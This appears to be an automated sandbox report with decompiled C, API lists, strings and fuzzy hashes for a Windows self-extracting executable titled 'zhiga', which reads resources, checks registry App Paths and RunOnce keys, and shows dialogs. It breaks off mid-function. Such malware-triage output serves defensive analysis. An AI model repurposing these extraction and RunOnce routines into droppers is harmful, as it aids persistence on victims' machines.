0x00a32da1
0x00a32d5b
0x00a32d5b
0x00a32d5d
0x00a32d69
0x00a32d6e
0x00a32f06
0x00a32f06
0x00a32f06
0x00a32d59
0x00a32f18

APIs

memset.MSVCRT ref: 00A32CD9
memset.MSVCRT ref: 00A32CE9
memset.MSVCRT ref: 00A32CF9

Part of subcall function 00A3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346A0
Part of subcall function 00A3468F: SizeofResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346A9
Part of subcall function 00A3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346C3
Part of subcall function 00A3468F: LoadResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346CC
Part of subcall function 00A3468F: LockResource.KERNEL32(00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346D3
Part of subcall function 00A3468F: memcpy_s.MSVCRT ref: 00A346E5
Part of subcall function 00A3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A32D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 00A32D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00A32DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 00A32DBD
CloseHandle.KERNEL32(zhiga,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00A32E0A

Part of subcall function 00A344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A34518
Part of subcall function 00A344B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00A34554

Strings

INSTANCECHECK, xrefs: 00A32D95
EXTRACTOPT, xrefs: 00A32D4D
VERCHECK, xrefs: 00A32E54
TITLE, xrefs: 00A32D09
zhiga, xrefs: 00A32D04, 00A32DD9, 00A32DF0

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$zhiga
API String ID: 1002816675-3407794480
Opcode ID: 29742116154dc5e59e03c0643a1d3f4b20cf490256fb4f34633d12f413faed23
Instruction ID: 822f2e985f7c0332b43d90326e9aa08e8e03b05986074be7fc82e32284ca1fc8
Opcode Fuzzy Hash: 29742116154dc5e59e03c0643a1d3f4b20cf490256fb4f34633d12f413faed23
Instruction Fuzzy Hash: 2B51F570740301ABE764EBB49D4BBBB3AA8EB55740F204139F981D61D1DBB88C42DB21

Uniqueness

Uniqueness Score: -1.00%

Function 00A334F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00A334F0(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t9;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t23;
				void* _t25;
				struct HWND__* _t35;
				struct HWND__* _t38;
				void* _t39;

				_t9 = _a8 - 0x10;
				if(_t9 == 0) {
					__eflags = 1;
					L19:
					_push(0);
					 *0xa391d8 = 1;
					L20:
					_push(_a4);
					L21:
					EndDialog();
					L22:
					return 1;
				}
				_push(1);
				_pop(1);
				_t12 = _t9 - 0xf2;
				if(_t12 == 0) {
					__eflags = _a12 - 0x1b;
					if(_a12 != 0x1b) {
						goto L22;
					}
					goto L19;
				}
				_t13 = _t12 - 0xe;
				if(_t13 == 0) {
					_t35 = _a4;
					 *0xa38584 = _t35;
					E00A343D0(_t35, GetDesktopWindow());
					__eflags =  *0xa38184; // 0x1
					if(__eflags != 0) {
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x464, 0, 0xbb9);
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x465, 0xffffffff, 0xffff0000);
					}
					SetWindowTextA(_t35, "zhiga");
					_t17 = CreateThread(0, 0, E00A34FE0, 0, 0, 0xa38798);
					 *0xa3879c = _t17;
					__eflags = _t17;
					if(_t17 != 0) {
						goto L22;
					} else {
						E00A344B9(_t35, 0x4b8, 0, 0, 0x10, 0);
						_push(0);
						_push(_t35);
						goto L21;
					}
				}
				_t23 = _t13 - 1;
				if(_t23 == 0) {
					__eflags = _a12 - 2;
					if(_a12 != 2) {
						goto L22;
					}
					ResetEvent( *0xa3858c);
					_t38 =  *0xa38584; // 0x0
					_t25 = E00A344B9(_t38, 0x4b2, 0xa31140, 0, 0x20, 4);
					__eflags = _t25 - 6;
					if(_t25 == 6) {
						L11:
						 *0xa391d8 = 1;
						SetEvent( *0xa3858c);
						_t39 =  *0xa3879c; // 0x0
						E00A33680(_t39);
						_push(0);
						goto L20;
					}
					__eflags = _t25 - 1;
					if(_t25 == 1) {
						goto L11;
					}
					SetEvent( *0xa3858c);
					goto L22;
				}
				if(_t23 == 0xe90) {
					TerminateThread( *0xa3879c, 0);
					EndDialog(_a4, _a12);
					return 1;
				}
				return 0;
			}

0x00a334fb
0x00a334fe
0x00a33665
0x00a33666
0x00a33666
0x00a33668
0x00a3366e
0x00a3366e
0x00a33671
0x00a33671
0x00a33677
0x00000000
0x00a33677
0x00a33504
0x00a33506
0x00a33507
0x00a3350c
0x00a3365b
0x00a3365f
0x00000000
0x00000000
0x00000000
0x00a33661
0x00a33512
0x00a33515
0x00a335be
0x00a335c1
0x00a335d1
0x00a335d8
0x00a335de
0x00a335f8
0x00a33617
0x00a33617
0x00a33623
0x00a33637
0x00a3363d
0x00a33642
0x00a33644
0x00000000
0x00a33646
0x00a33652
0x00a33657
0x00a33658
0x00000000
0x00a33658
0x00a33644
0x00a3351b
0x00a3351d
0x00a3354f
0x00a33553
0x00000000
0x00000000
0x00a3355f
0x00a33565
0x00a3357c
0x00a33581
0x00a33584
0x00a3359b
0x00a335a1
0x00a335a7
0x00a335ad
0x00a335b3
0x00a335b8
0x00000000
0x00a335b8
0x00a33586
0x00a33588
0x00000000
0x00000000
0x00a33590
0x00000000
0x00a33590
0x00a33524
0x00a33535
0x00a33541
0x00000000
0x00a33549
0x00000000

APIs

TerminateThread.KERNEL32(00000000), ref: 00A33535
EndDialog.USER32(?,?), ref: 00A33541
ResetEvent.KERNEL32 ref: 00A3355F
SetEvent.KERNEL32(00A31140,00000000,00000020,00000004), ref: 00A33590
GetDesktopWindow.USER32 ref: 00A335C7
GetDlgItem.USER32(?,0000083B), ref: 00A335F1
SendMessageA.USER32(00000000), ref: 00A335F8
GetDlgItem.USER32(?,0000083B), ref: 00A33610
SendMessageA.USER32(00000000), ref: 00A33617
SetWindowTextA.USER32(?,zhiga), ref: 00A33623
CreateThread.KERNEL32(00000000,00000000,Function_00004FE0,00000000,00000000,00A38798), ref: 00A33637
EndDialog.USER32(?,00000000), ref: 00A33671

Strings

zhiga, xrefs: 00A3361D

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: zhiga
API String ID: 2406144884-3705506974
Opcode ID: 4ec6e711bf5911fc181ea9d13c881310cd4a571a3f13adcd76f388acf72378f6
Instruction ID: 26666f27d17de9f35a7f140fb59618510fb6820fa1a457cf7cb2e3aa7fd2a8e0
Opcode Fuzzy Hash: 4ec6e711bf5911fc181ea9d13c881310cd4a571a3f13adcd76f388acf72378f6
Instruction Fuzzy Hash: EB31D032248310BFDB20DFA5EC4EE7B3A79E799B01F104629F642952B0CB758A02DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00A34224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00A34224(char __ecx) {
				char* _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				_Unknown_base(*)()* _v20;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t32;
				char _t42;
				char* _t44;
				char* _t61;
				void* _t63;
				char* _t65;
				struct HINSTANCE__* _t66;
				char _t67;
				void* _t71;
				char _t76;
				intOrPtr _t85;

				_t67 = __ecx;
				_t66 = LoadLibraryA("SHELL32.DLL");
				if(_t66 == 0) {
					_t63 = 0x4c2;
					L22:
					E00A344B9(_t67, _t63, 0, 0, 0x10, 0);
					return 0;
				}
				_t26 = GetProcAddress(_t66, "SHBrowseForFolder");
				_v12 = _t26;
				if(_t26 == 0) {
					L20:
					FreeLibrary(_t66);
					_t63 = 0x4c1;
					goto L22;
				}
				_t28 = GetProcAddress(_t66, 0xc3);
				_v20 = _t28;
				if(_t28 == 0) {
					goto L20;
				}
				_t29 = GetProcAddress(_t66, "SHGetPathFromIDList");
				_v16 = _t29;
				if(_t29 == 0) {
					goto L20;
				}
				_t76 =  *0xa388c0; // 0x0
				if(_t76 != 0) {
					L10:
					 *0xa387a0 = 0;
					_v52 = _t67;
					_v48 = 0;
					_v44 = 0;
					_v40 = 0xa38598;
					_v36 = 1;
					_v32 = E00A34200;
					_v28 = 0xa388c0;
					 *0xa3a288( &_v52);
					_t32 =  *_v12();
					if(_t71 != _t71) {
						asm("int 0x29");
					}
					_v12 = _t32;
					if(_t32 != 0) {
						 *0xa3a288(_t32, 0xa388c0);
						 *_v16();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
						if( *0xa388c0 != 0) {
							E00A31680(0xa387a0, 0x104, 0xa388c0);
						}
						 *0xa3a288(_v12);
						 *_v20();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
					}
					FreeLibrary(_t66);
					_t85 =  *0xa387a0; // 0x0
					return 0 | _t85 != 0x00000000;
				} else {
					GetTempPathA(0x104, 0xa388c0);
					_t61 = 0xa388c0;
					_t4 =  &(_t61[1]); // 0xa388c1
					_t65 = _t4;
					do {
						_t42 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t42 != 0);
					_t5 = _t61 - _t65 + 0xa388c0; // 0x1471181
					_t44 = CharPrevA(0xa388c0, _t5);
					_v8 = _t44;
					if( *_t44 == 0x5c &&  *(CharPrevA(0xa388c0, _t44)) != 0x3a) {
						 *_v8 = 0;
					}
					goto L10;
				}
			}

0x00a34234
0x00a3423c
0x00a34240
0x00a343b2
0x00a343b7
0x00a343c0
0x00000000
0x00a343c5
0x00a3424c
0x00a34252
0x00a34257
0x00a343a4
0x00a343a5
0x00a343ab
0x00000000
0x00a343ab
0x00a34263
0x00a34269
0x00a3426e
0x00000000
0x00000000
0x00a3427a
0x00a34280
0x00a34285
0x00000000
0x00000000
0x00a3428d
0x00a34293
0x00a342e6
0x00a342e9
0x00a342ef
0x00a342f4
0x00a342f7
0x00a34300
0x00a34307
0x00a3430e
0x00a34315
0x00a3431c
0x00a34322
0x00a34326
0x00a3432d
0x00a3432d
0x00a3432f
0x00a34334
0x00a34343
0x00a34349
0x00a3434d
0x00a34354
0x00a34354
0x00a3435d
0x00a3436e
0x00a3436e
0x00a3437d
0x00a34383
0x00a34387
0x00a3438e
0x00a3438e
0x00a34387
0x00a34391
0x00a34399
0x00000000
0x00a34295
0x00a3429f
0x00a342a5
0x00a342aa
0x00a342aa
0x00a342ad
0x00a342ad
0x00a342af
0x00a342b0
0x00a342b6
0x00a342c2
0x00a342c8
0x00a342ce
0x00a342e4
0x00a342e4
0x00000000
0x00a342ce

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 00A34236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 00A3424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 00A34263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 00A3427A
GetTempPathA.KERNEL32(00000104,00A388C0,?,00000001), ref: 00A3429F
CharPrevA.USER32(00A388C0,01471181,?,00000001), ref: 00A342C2
CharPrevA.USER32(00A388C0,00000000,?,00000001), ref: 00A342D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00A34391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00A343A5

Strings

SHGetPathFromIDList, xrefs: 00A34274
SHELL32.DLL, xrefs: 00A3422F
SHBrowseForFolder, xrefs: 00A34246

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 8c2d2f8af65aa7c6d34fcd6e30088d41475b1c9566ece2a561d9610ce8408339
Instruction ID: 5558ea43b3da048cc36b90c7ba2baa2a7f49096b0f769e2d77fa066b5cce7bbf
Opcode Fuzzy Hash: 8c2d2f8af65aa7c6d34fcd6e30088d41475b1c9566ece2a561d9610ce8408339
Instruction Fuzzy Hash: ED410674A00314AFD711EFF4DC88AAEBBB8EB59384F040569F981A7351CB789C02C761

Uniqueness

Uniqueness Score: -1.00%

Function 00A344B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00A344B9(struct HWND__* __ecx, int __edx, intOrPtr* _a4, void* _a8, int _a12, signed int _a16) {
				signed int _v8;
				char _v64;
				char _v576;
				void* _v580;
				struct HWND__* _v584;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				void* _t37;
				signed int _t39;
				intOrPtr _t43;
				signed int _t44;
				signed int _t49;
				signed int _t52;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				int _t64;
				void* _t66;
				intOrPtr* _t67;
				signed int _t69;
				intOrPtr* _t73;
				intOrPtr* _t76;
				intOrPtr* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr* _t84;
				void* _t85;
				signed int _t89;

				_t75 = __edx;
				_t34 =  *0xa38004; // 0xb6b6972c
				_v8 = _t34 ^ _t89;
				_v584 = __ecx;
				_t83 = "LoadString() Error.  Could not load string resource.";
				_t67 = _a4;
				_t69 = 0xd;
				_t37 = memcpy( &_v64, _t83, _t69 << 2);
				_t80 = _t83 + _t69 + _t69;
				_v580 = _t37;
				asm("movsb");
				if(( *0xa38a38 & 0x00000001) != 0) {
					_t39 = 1;
				} else {
					_v576 = 0;
					LoadStringA( *0xa39a3c, _t75,  &_v576, 0x200);
					if(_v576 != 0) {
						_t73 =  &_v576;
						_t16 = _t73 + 1; // 0x1
						_t75 = _t16;
						do {
							_t43 =  *_t73;
							_t73 = _t73 + 1;
						} while (_t43 != 0);
						_t84 = _v580;
						_t74 = _t73 - _t75;
						if(_t84 == 0) {
							if(_t67 == 0) {
								_t27 = _t74 + 1; // 0x2
								_t83 = _t27;
								_t44 = LocalAlloc(0x40, _t83);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									_t75 = _t83;
									_t74 = _t80;
									E00A31680(_t80, _t83,  &_v576);
									goto L23;
								}
							} else {
								_t76 = _t67;
								_t24 = _t76 + 1; // 0x1
								_t85 = _t24;
								do {
									_t55 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t55 != 0);
								_t25 = _t76 - _t85 + 0x64; // 0x65
								_t83 = _t25 + _t74;
								_t44 = LocalAlloc(0x40, _t25 + _t74);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									E00A3171E(_t80, _t83,  &_v576, _t67);
									goto L23;
								}
							}
						} else {
							_t77 = _t67;
							_t18 = _t77 + 1; // 0x1
							_t81 = _t18;
							do {
								_t58 =  *_t77;
								_t77 = _t77 + 1;
							} while (_t58 != 0);
							_t75 = _t77 - _t81;
							_t82 = _t84 + 1;
							do {
								_t59 =  *_t84;
								_t84 = _t84 + 1;
							} while (_t59 != 0);
							_t21 = _t74 + 0x64; // 0x65
							_t83 = _t21 + _t84 - _t82 + _t75;
							_t44 = LocalAlloc(0x40, _t21 + _t84 - _t82 + _t75);
							_t80 = _t44;
							if(_t80 == 0) {
								goto L6;
							} else {
								_push(_v580);
								E00A3171E(_t80, _t83,  &_v576, _t67);
								L23:
								MessageBeep(_a12);
								if(E00A3681F(_t67) == 0) {
									L25:
									_t49 = 0x10000;
								} else {
									_t54 = E00A367C9(_t74, _t74);
									_t49 = 0x190000;
									if(_t54 == 0) {
										goto L25;
									}
								}
								_t52 = MessageBoxA(_v584, _t80, "zhiga", _t49 | _a12 | _a16);
								_t83 = _t52;
								LocalFree(_t80);
								_t39 = _t52;
							}
						}
					} else {
						if(E00A3681F(_t67) == 0) {
							L4:
							_t64 = 0x10010;
						} else {
							_t66 = E00A367C9(0, 0);
							_t64 = 0x190010;
							if(_t66 == 0) {
								goto L4;
							}
						}
						_t44 = MessageBoxA(_v584,  &_v64, "zhiga", _t64);
						L6:
						_t39 = _t44 | 0xffffffff;
					}
				}
				return E00A36CE0(_t39, _t67, _v8 ^ _t89, _t75, _t80, _t83);
			}

0x00a344b9
0x00a344c4
0x00a344cb
0x00a344d8
0x00a344e4
0x00a344eb
0x00a344ee
0x00a344ef
0x00a344ef
0x00a344f1
0x00a344f7
0x00a344f8
0x00a3467b
0x00a344fe
0x00a34509
0x00a34518
0x00a34525
0x00a34562
0x00a34568
0x00a34568
0x00a3456b
0x00a3456b
0x00a3456d
0x00a3456e
0x00a34572
0x00a34578
0x00a3457c
0x00a345cb
0x00a34607
0x00a34607
0x00a3460d
0x00a34613
0x00a34617
0x00000000
0x00a3461d
0x00a34623
0x00a34626
0x00a34628
0x00000000
0x00a34628
0x00a345cd
0x00a345cd
0x00a345cf
0x00a345cf
0x00a345d2
0x00a345d2
0x00a345d4
0x00a345d5
0x00a345db
0x00a345de
0x00a345e3
0x00a345e9
0x00a345ed
0x00000000
0x00a345f3
0x00a345fd
0x00000000
0x00a34602
0x00a345ed
0x00a3457e
0x00a3457e
0x00a34580
0x00a34580
0x00a34583
0x00a34583
0x00a34585
0x00a34586
0x00a3458a
0x00a3458c
0x00a3458f
0x00a3458f
0x00a34591
0x00a34592
0x00a3459b
0x00a3459e
0x00a345a3
0x00a345a9
0x00a345ad
0x00000000
0x00a345af
0x00a345af
0x00a345bf
0x00a3462d
0x00a34630
0x00a3463d
0x00a3464e
0x00a3464e
0x00a3463f
0x00a34640
0x00a34647
0x00a3464c
0x00000000
0x00000000
0x00a3464c
0x00a34666
0x00a3466d
0x00a3466f
0x00a34675
0x00a34675
0x00a345ad
0x00a34527
0x00a3452e
0x00a3453f
0x00a3453f
0x00a34530
0x00a34531
0x00a34538
0x00a3453d
0x00000000
0x00000000
0x00a3453d
0x00a34554
0x00a3455a
0x00a3455a
0x00a3455a
0x00a34525
0x00a3468c

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A34518
MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00A34554
LocalAlloc.KERNEL32(00000040,00000065), ref: 00A345A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 00A345E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 00A3460D
MessageBeep.USER32(00000000), ref: 00A34630
MessageBoxA.USER32(?,00000000,zhiga,00000000), ref: 00A34666
LocalFree.KERNEL32(00000000), ref: 00A3466F

Part of subcall function 00A3681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 00A3686E
Part of subcall function 00A3681F: GetSystemMetrics.USER32(0000004A), ref: 00A368A7
Part of subcall function 00A3681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 00A368CC
Part of subcall function 00A3681F: RegQueryValueExA.ADVAPI32(?,00A31140,00000000,?,?,0000000C), ref: 00A368F4
Part of subcall function 00A3681F: RegCloseKey.ADVAPI32(?), ref: 00A36902

Strings

LoadString() Error. Could not load string resource., xrefs: 00A344E4
zhiga, xrefs: 00A34545, 00A3465A

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$zhiga
API String ID: 3244514340-1120439489
Opcode ID: e4796e4bf26b65ed9ba3d76563cd5746d6378aab4b27ec0d55e3c8c0af85778a
Instruction ID: f457f181065cd5d58459071fc2511bfe55b91c820568ff677104d450ac169504
Opcode Fuzzy Hash: e4796e4bf26b65ed9ba3d76563cd5746d6378aab4b27ec0d55e3c8c0af85778a
Instruction Fuzzy Hash: 9E51E572900215AFDB21DF68DC49BBABB79EF49300F144195FD49A7241DB71EE06CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A32773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00A32773(CHAR* __ecx, char* _a4) {
				signed int _v8;
				char _v268;
				char _v269;
				CHAR* _v276;
				int _v280;
				void* _v284;
				int _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				intOrPtr _t34;
				int _t45;
				int* _t50;
				CHAR* _t52;
				CHAR* _t61;
				char* _t62;
				int _t63;
				CHAR* _t64;
				signed int _t65;

				_t52 = __ecx;
				_t23 =  *0xa38004; // 0xb6b6972c
				_v8 = _t23 ^ _t65;
				_t62 = _a4;
				_t50 = 0;
				_t61 = __ecx;
				_v276 = _t62;
				 *((char*)(__ecx)) = 0;
				if( *_t62 != 0x23) {
					_t63 = 0x104;
					goto L14;
				} else {
					_t64 = _t62 + 1;
					_v269 = CharUpperA( *_t64);
					_v276 = CharNextA(CharNextA(_t64));
					_t63 = 0x104;
					_t34 = _v269;
					if(_t34 == 0x53) {
						L14:
						GetSystemDirectoryA(_t61, _t63);
						goto L15;
					} else {
						if(_t34 == 0x57) {
							GetWindowsDirectoryA(_t61, 0x104);
							goto L16;
						} else {
							_push(_t52);
							_v288 = 0x104;
							E00A31781( &_v268, 0x104, _t52, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths");
							_t59 = 0x104;
							E00A3658A( &_v268, 0x104, _v276);
							if(RegOpenKeyExA(0x80000002,  &_v268, 0, 0x20019,  &_v284) != 0) {
								L16:
								_t59 = _t63;
								E00A3658A(_t61, _t63, _v276);
							} else {
								if(RegQueryValueExA(_v284, 0xa31140, 0,  &_v280, _t61,  &_v288) == 0) {
									_t45 = _v280;
									if(_t45 != 2) {
										L9:
										if(_t45 == 1) {
											goto L10;
										}
									} else {
										if(ExpandEnvironmentStringsA(_t61,  &_v268, 0x104) == 0) {
											_t45 = _v280;
											goto L9;
										} else {
											_t59 = 0x104;
											E00A31680(_t61, 0x104,  &_v268);
											L10:
											_t50 = 1;
										}
									}
								}
								RegCloseKey(_v284);
								L15:
								if(_t50 == 0) {
									goto L16;
								}
							}
						}
					}
				}
				return E00A36CE0(1, _t50, _v8 ^ _t65, _t59, _t61, _t63);
			}

0x00a32773
0x00a3277e
0x00a32785
0x00a3278a
0x00a3278d
0x00a32790
0x00a32792
0x00a32798
0x00a3279d
0x00a328b2
0x00000000
0x00a327a3
0x00a327a3
0x00a327af
0x00a327c2
0x00a327c8
0x00a327cd
0x00a327d5
0x00a328b7
0x00a328b9
0x00000000
0x00a327db
0x00a327dd
0x00a328aa
0x00000000
0x00a327e3
0x00a327e3
0x00a327ec
0x00a327f8
0x00a32803
0x00a3280b
0x00a32831
0x00a328c3
0x00a328c9
0x00a328cd
0x00a32837
0x00a3285a
0x00a3285c
0x00a32865
0x00a32892
0x00a32895
0x00000000
0x00000000
0x00a32867
0x00a32878
0x00a3288c
0x00000000
0x00a3287a
0x00a32880
0x00a32885
0x00a32897
0x00a32899
0x00a32899
0x00a32878
0x00a32865
0x00a328a0
0x00a328bf
0x00a328c1
0x00000000
0x00000000
0x00a328c1
0x00a32831
0x00a327dd
0x00a327d5
0x00a328e5

APIs

CharUpperA.USER32(B6B6972C,00000000,00000000,00000000), ref: 00A327A8
CharNextA.USER32(0000054D), ref: 00A327B5
CharNextA.USER32(00000000), ref: 00A327BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A32829
RegQueryValueExA.ADVAPI32(?,00A31140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A32852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A32870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A328A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 00A328AA
GetSystemDirectoryA.KERNEL32 ref: 00A328B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 00A327E4

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 4522a2e02ad08300fe347211d0689a491b5ae69b0579a494d5517d1e0eb6f5a9
Instruction ID: 99c9fdc04a22294b732611875cc4edb700a3bf33ea018ec525fa49c2a26cc516
Opcode Fuzzy Hash: 4522a2e02ad08300fe347211d0689a491b5ae69b0579a494d5517d1e0eb6f5a9
Instruction Fuzzy Hash: 18418371A0012CAFDB24DBA49C85BFAB7BDEF65700F0440A9F589D2110DB708E868FA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A32267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88
registryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00A32267() {
				signed int _v8;
				char _v268;
				char _v836;
				void* _v840;
				int _v844;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t33;
				void* _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				signed int _t51;

				_t19 =  *0xa38004; // 0xb6b6972c
				_t20 = _t19 ^ _t51;
				_v8 = _t19 ^ _t51;
				if( *0xa38530 != 0) {
					_push(_t49);
					if(RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x2001f,  &_v840) == 0) {
						_push(_t38);
						_v844 = 0x238;
						if(RegQueryValueExA(_v840, ?str?, 0, 0,  &_v836,  &_v844) == 0) {
							_push(_t47);
							memset( &_v268, 0, 0x104);
							if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
								E00A3658A( &_v268, 0x104, 0xa31140);
							}
